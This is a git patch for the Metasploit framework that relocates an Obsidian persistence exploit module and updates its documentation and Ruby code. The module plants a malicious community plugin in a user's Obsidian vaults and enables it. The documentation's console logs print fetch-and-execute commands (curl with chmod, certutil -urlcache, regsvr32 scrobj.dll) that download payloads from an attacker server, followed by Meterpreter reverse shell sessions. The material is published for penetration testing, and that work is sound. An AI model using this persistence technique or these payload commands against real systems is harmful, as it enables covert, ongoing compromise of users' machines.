From 5c1673bb209ba6a42d9574c1357b1a0fb9de0006 Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Sep 2025 15:05:21 -0400 Subject: [PATCH] update obsidian to persistence mixin --- .../local/obsidian_plugin_persistence.md | 124 ----------------- .../multi/persistence/obsidian_plugin.md | 126 ++++++++++++++++++ .../obsidian_plugin.rb} | 14 +- 3 files changed, 135 insertions(+), 129 deletions(-) delete mode 100644 documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md create mode 100644 documentation/modules/exploit/multi/persistence/obsidian_plugin.md rename modules/exploits/multi/{local/obsidian_plugin_persistence.rb => persistence/obsidian_plugin.rb} (94%) diff --git a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md b/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md deleted file mode 100644 index 77bca238be014..0000000000000 --- a/documentation/modules/exploit/multi/local/obsidian_plugin_persistence.md +++ /dev/null @@ -1,124 +0,0 @@ -## Vulnerable Application - -This module searches for Obsidian vaults for a user, and uploads a malicious -community plugin to the vault. The vaults must be opened with community -plugins enabled (NOT restricted mode), but the plugin will be enabled -automatically. - -Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10. - -### Debugging - -To open the console (similar to chrome), use `ctr+shift+i`. - -## Verification Steps - -1. Install the application -2. Start msfconsole -3. Get a user shell on the target -4. Do: `use multi/local/obsidian_plugin_persistence` -5. Do: Select a shell which will work on your target OS -6. Do: `run` -7. You should get a shell when the target user opens the vault without restricted mode. - -## Options - -### NAME - -Name of the plugin. Defaults to being randomly generated. - -### USER - -The user to target. Defaults the user the shell was obtained under. - -### CONFIG - -Config file location on target. Defaults to empty which will search the default locations. - -## Scenarios - -### Version and OS - -Get a user shell. - -``` -msf exploit(multi/script/web_delivery) > use exploit/multi/local/obsidian_plugin_persistence -[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp -msf exploit(multi/local/obsidian_plugin_persistence) > set session 1 -session => 1 -msf exploit(multi/local/obsidian_plugin_persistence) > set verbose true -verbose => true -msf exploit(multi/local/obsidian_plugin_persistence) > exploit - -[*] Command to run on remote host: curl -so ./HvxtaAdZVc http://1.1.1.1:8080/aZRe4yWUN3U2-lDtdsaGlA; chmod +x ./HvxtaAdZVc; ./HvxtaAdZVc & -[*] Fetch handler listening on 1.1.1.1:8080 -[*] HTTP server started -[*] Adding resource /aZRe4yWUN3U2-lDtdsaGlA -[*] Started reverse TCP handler on 1.1.1.1:4444 -[*] Using plugin name: xQem -[*] Target User: ubuntu -[*] Found user obsidian file: /home/ubuntu/.config/obsidian/obsidian.json -[+] Found open vault 83ca6e5734f5dfc4: /home/ubuntu/Documents/test -[*] Uploading plugin to vault /home/ubuntu/Documents/test -[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/main.js -[*] Uploading: /home/ubuntu/Documents/test/.obsidian/plugins/xQem/manifest.json -[*] Found 1 enabled community plugins (sX2sv4) -[*] adding xQem to the enabled community plugins list -[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. -[*] Client 2.2.2.2 requested /aZRe4yWUN3U2-lDtdsaGlA -[*] Sending payload to 2.2.2.2 (curl/7.81.0) -[*] Transmitting intermediate stager...(126 bytes) -[*] Sending stage (3045380 bytes) to 2.2.2.2 -[*] Meterpreter session 2 opened (1.1.1.1:4444 -> 2.2.2.2:49192) at 2024-12-05 10:19:32 -0500 - -meterpreter > getuid -Server username: ubuntu -meterpreter > sysinfo -Computer : 2.2.2.2 -OS : Ubuntu 22.04 (Linux 5.15.0-60-generic) -Architecture : x64 -BuildTuple : x86_64-linux-musl -Meterpreter : x64/linux -meterpreter > -``` - -### Obsidian 1.7.7 on Windows 10 - -``` - -msf exploit(multi/local/obsidian_plugin_persistence) > rexploit -[*] Reloading module... - -[*] Command to run on remote host: certutil -urlcache -f http://1.1.1.1:8080/bXCLrS0dWKPwEfygT3FJNA %TEMP%\FDTcKUuwF.exe & start /B %TEMP%\FDTcKUuwF.exe -[*] Fetch handler listening on 1.1.1.1:8080 -[*] HTTP server started -[*] Adding resource /bXCLrS0dWKPwEfygT3FJNA -[*] Started reverse TCP handler on 1.1.1.1:4444 -[*] Using plugin name: pPq0K -[*] Target User: h00die -[*] Found user obsidian file: C:\Users\h00die\AppData\Roaming\obsidian\obsidian.json -[+] Found open vault 69172dadc065de73: C:\Users\h00die\Documents\vault -[*] Uploading plugin to vault C:\Users\h00die\Documents\vault -[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/main.js -[*] Uploading: C:\Users\h00die\Documents\vault/.obsidian/plugins/pPq0K/manifest.json -[*] Found 0 enabled community plugins () -[*] adding pPq0K to the enabled community plugins list -[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. -[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA -[*] Sending payload to 3.3.3.3 (Microsoft-CryptoAPI/10.0) -[*] Client 3.3.3.3 requested /bXCLrS0dWKPwEfygT3FJNA -[*] Sending payload to 3.3.3.3 (CertUtil URL Agent) -[*] Meterpreter session 7 opened (1.1.1.1:4444 -> 3.3.3.3:51369) at 2024-12-05 09:24:24 -0500 - -meterpreter > getuid -Server username: DESKTOP-3ASD0R4\h00die -meterpreter > sysinfo -Computer : DESKTOP-3ASD0R4 -OS : Windows 10 (10.0 Build 19044). -Architecture : x64 -System Language : en_US -Domain : WORKGROUP -Logged On Users : 2 -Meterpreter : x64/windows -meterpreter > -``` diff --git a/documentation/modules/exploit/multi/persistence/obsidian_plugin.md b/documentation/modules/exploit/multi/persistence/obsidian_plugin.md new file mode 100644 index 0000000000000..94c5242eb07b6 --- /dev/null +++ b/documentation/modules/exploit/multi/persistence/obsidian_plugin.md @@ -0,0 +1,126 @@ +## Vulnerable Application + +This module searches for Obsidian vaults for a user, and uploads a malicious +community plugin to the vault. The vaults must be opened with community +plugins enabled (NOT restricted mode), but the plugin will be enabled +automatically. + +Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and 1.8.4 on Windows 10. + +### Debugging + +To open the console (similar to chrome), use `ctr+shift+i`. + +## Verification Steps + +1. Install the application +2. Start msfconsole +3. Get a user shell on the target +4. Do: `use multi/persistence/obsidian_plugin` +5. Do: Select a shell which will work on your target OS +6. Do: `run` +7. You should get a shell when the target user opens the vault without restricted mode. + +## Options + +### NAME + +Name of the plugin. Defaults to being randomly generated. + +### USER + +The user to target. Defaults the user the shell was obtained under. + +### CONFIG + +Config file location on target. Defaults to empty which will search the default locations. + +## Scenarios + +### Obsidian 1.8.4 on Windows 10 + +Get a user shell. + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set target 3 +target => 3 +resource (/root/.msf4/msfconsole.rc)> set srvport 8282 +srvport => 8282 +resource (/root/.msf4/msfconsole.rc)> set payload windows/x64/meterpreter/reverse_tcp +payload => windows/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4646 +lport => 4646 +resource (/root/.msf4/msfconsole.rc)> set URIPATH w +URIPATH => w +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4646 +[*] Using URL: http://111.111.1.111:8282/w +[*] Server started. +[*] Run the following command on the target machine: +regsvr32 /s /n /u /i:http://111.111.1.111:8282/w.sct scrobj.dll +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] 222.222.2.22 web_delivery - Handling .sct Request +[*] 222.222.2.22 web_delivery - Powershell command length: 3696 +[*] 222.222.2.22 web_delivery - Delivering Payload (3696 bytes) +[*] Sending stage (203846 bytes) to 222.222.2.22 +[*] Meterpreter session 1 opened (111.111.1.111:4646 -> 222.222.2.22:50125) at 2025-02-17 09:00:05 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/multi/persistence/obsidian_plugin +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(C:\Users\windows) > getuid +Server username: WIN10PROLICENSE\windows +(Meterpreter 1)(C:\Users\windows) > sysinfo +Computer : WIN10PROLICENSE +OS : Windows 10 (10.0 Build 19045). +Architecture : x64 +System Language : en_US +Domain : WORKGROUP +Logged On Users : 2 +Meterpreter : x64/windows +(Meterpreter 1)(C:\Users\windows) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > set payload payload/cmd/windows/http/x64/meterpreter/reverse_tcp +payload => cmd/windows/http/x64/meterpreter/reverse_tcp +[msf](Jobs:1 Agents:1) exploit(multi/persistence/obsidian_plugin) > exploit +[*] Command to run on remote host: certutil -urlcache -f http://111.111.1.111:8080/xCXtwaKhxivsa8DBsy06mQ %TEMP%\MvboVJyBQSJ.exe & start /B %TEMP%\MvboVJyBQSJ.exe +[*] Exploit running as background job 2. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(multi/persistence/obsidian_plugin) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /xCXtwaKhxivsa8DBsy06mQ +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Using plugin name: kuCPva +[*] Target User: windows +[*] Found user obsidian file: C:\Users\windows\AppData\Roaming\obsidian\obsidian.json +[+] Found open vault 73fefafd47723a1b: C:\Users\windows\Desktop\this_is_my_vault +[*] Uploading plugin to vault C:\Users\windows\Desktop\this_is_my_vault +[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/main.js +[*] Uploading: C:\Users\windows\Desktop\this_is_my_vault/.obsidian/plugins/kuCPva/manifest.json +[*] Found 4 enabled community plugins (AHBk, CbJt, tjPCOxub9, UOQEhHOR) +[+] Config file saved in: /root/.msf4/loot/20250217091115_default_222.222.2.22_obsidian.communi_029034.txt +[*] adding kuCPva to the enabled community plugins list +[+] Plugin enabled, waiting for Obsidian to open the vault and execute the plugin. +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/WIN10PROLICENSE_20250217.1116/WIN10PROLICENSE_20250217.1116.rc +[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ +[*] Sending payload to 222.222.2.22 (Microsoft-CryptoAPI/10.0) +[*] Client 222.222.2.22 requested /xCXtwaKhxivsa8DBsy06mQ +[*] Sending payload to 222.222.2.22 (CertUtil URL Agent) +[*] Sending stage (203846 bytes) to 222.222.2.22 +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.22:50145) at 2025-02-17 09:11:41 -0500 +``` \ No newline at end of file diff --git a/modules/exploits/multi/local/obsidian_plugin_persistence.rb b/modules/exploits/multi/persistence/obsidian_plugin.rb similarity index 94% rename from modules/exploits/multi/local/obsidian_plugin_persistence.rb rename to modules/exploits/multi/persistence/obsidian_plugin.rb index eeebb69efabc5..1814485319b97 100644 --- a/modules/exploits/multi/local/obsidian_plugin_persistence.rb +++ b/modules/exploits/multi/persistence/obsidian_plugin.rb @@ -9,6 +9,9 @@ class MetasploitModule < Msf::Exploit::Local include Msf::Post::File include Msf::Post::Unix # whoami include Msf::Auxiliary::Report + include Msf::Exploit::Local::Persistence + include Msf::Exploit::Deprecated + moved_from 'exploits/multi/local/obsidian_plugin_persistence' def initialize(info = {}) super( @@ -41,14 +44,11 @@ def initialize(info = {}) 'Arch' => [ARCH_CMD], 'Platform' => %w[osx linux windows], 'DefaultOptions' => { - # 25hrs, you know, just in case the user doesn't open Obsidian for a while - 'WfsDelay' => 90_000, 'PrependMigrate' => true }, 'Payload' => { 'BadChars' => '"' }, - 'Stance' => Msf::Exploit::Stance::Passive, 'Targets' => [ ['Auto', {} ], ['Linux', { 'Platform' => 'unix' } ], @@ -69,6 +69,7 @@ def initialize(info = {}) OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]), OptString.new('CONFIG', [ false, 'Config file location on target', '' ]), ]) + deregister_options('WritableDir') end def plugin_name @@ -213,7 +214,7 @@ def check CheckCode::Safe('No vaults found') end - def exploit + def install_persistence plugin = plugin_name print_status("Using plugin name: #{plugin}") vaults = find_vaults @@ -229,9 +230,11 @@ def exploit end vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js") write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin)) + @clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n" + vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json") write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin)) - + @clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n" # read in the enabled community plugins, and add ours to the enabled list if file?("#{vault['path']}/.obsidian/community-plugins.json") plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json") @@ -240,6 +243,7 @@ def exploit vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})") path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil) print_good("Config file saved in: #{path}") + @clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n" rescue JSON::ParserError plugins = [] end